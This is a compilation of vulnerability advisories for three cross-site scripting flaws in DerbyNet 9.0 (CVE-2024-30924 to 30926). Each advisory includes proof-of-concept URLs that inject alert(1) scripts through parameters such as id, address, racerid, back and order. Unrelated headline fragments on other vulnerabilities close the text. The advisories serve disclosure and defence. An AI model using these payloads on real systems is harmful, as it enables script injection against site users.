DerbyNet version 9.0 suffers from a cross site scripting vulnerability in inc/kiosks.inc.

CVE ID: CVE-2024-30926

Description:  
A Cross-Site Scripting (XSS) vulnerability has been identified in DerbyNet version 9.0, affecting the `./inc/kiosks.inc` component. This vulnerability permits remote attackers to execute arbitrary code by exploiting the `address_for_current_kiosk()` function. The issue stems from the improper sanitization of user-supplied input via the URL parameters `id` and `address`, which are directly utilized without validation. This oversight allows the execution of malicious JavaScript code through crafted URLs.

Vulnerability Type: Cross-Site Scripting (XSS)

Vendor of Product: DerbyNet - Available on GitHub: https://github.com/jeffpiazza/derbynet

Affected Product Code Base: DerbyNet - v9.0

Affected Component: ./inc/kiosks.inc

Attack Type: Remote

Impact: Code execution

Attack Vectors:  
The vulnerability can be exploited by manipulating URL parameters to inject malicious scripts. Examples include:  
- `http://127.0.0.1:8000/kiosk.php?id=<script>alert(1)</script>`  
- `http://127.0.0.1:8000/kiosk.php?address=<script>alert(1)</script>`

These manipulations demonstrate how an attacker could leverage unsanitized input to execute arbitrary JavaScript in the context of a user's session.

DerbyNet 9.0 inc/kisosks.inc Cross Site Scripting

DerbyNet version 9.0 suffers from a cross site scripting vulnerability in photo-thumbs.php.

CVE ID: CVE-2024-30925

Description:  
A Cross-Site Scripting (XSS) vulnerability exists in DerbyNet version 9.0, specifically within the `photo-thumbs.php` component. This issue enables a remote attacker to execute arbitrary code through the improper handling of the `racerid` and `back` parameters. The vulnerability arises because the application dynamically generates URLs for navigation without adequately sanitizing these parameters, thus allowing the injection of malicious scripts.

Vulnerability Type: Cross-Site Scripting (XSS)

Vendor of Product: DerbyNet - Available on GitHub: https://github.com/jeffpiazza/derbynet

Affected Product Code Base: DerbyNet - v9.0

Affected Component: photo-thumbs.php

Attack Type: Remote

Impact: Code execution

Attack Vectors:  
The XSS vulnerability can be exploited through manipulation of the `racerid` and `back` parameters in the URL. Examples of such manipulation include:  
- http://127.0.0.1:8000/photo-thumbs.php?repo=head&racerid=</script><script>alert(1)</script>  
- http://127.0.0.1:8000/photo-thumbs.php?back="><script>alert(1)</script></div>

These URLs demonstrate how an attacker could inject and execute arbitrary JavaScript within the context of the user's browser session.

DerbyNet 9.0 photo-thumbs.php Cross Site Scripting

DerbyNet version 9.0 suffers from a cross site scripting vulnerability in checkin.php.

CVE ID: CVE-2024-30924

Description:  
A Cross Site Scripting (XSS) vulnerability has been identified in DerbyNet version 9.0, specifically within the `checkin.php` component. This vulnerability allows remote attackers to execute arbitrary code due to improper handling of the `order` URL parameter. The flaw lies in the way the `order` parameter is embedded directly into a JavaScript variable assignment without adequate sanitization or encoding, making it possible to inject scripts.

Vulnerability Type: Cross Site Scripting (XSS)

Vendor of Product: DerbyNet - Available on GitHub: https://github.com/jeffpiazza/derbynet

Affected Product Code Base: DerbyNet - v9.0

Affected Component: checkin.php

Attack Type: Remote

Impact: Code execution is possible as a result of this vulnerability.

Attack Vectors:  
The XSS vulnerability can be exploited by manipulating the `order` parameter in the URL. For example:  
- `http://127.0.0.1:8000/checkin.php?order=</script><script>alert(1)</script>`  
- `http://127.0.0.1:8000/checkin.php?order=';alert(1);//`

These attack vectors demonstrate how an attacker could inject and execute arbitrary JavaScript within the context of the user's browser session.

Gibbon School Platform 26.0.00 Remote Code Execution

Linux versions starting with 6.5 suffer from a read-after-type-change of folio in cachestat() that leads to a kernel pointer leak.
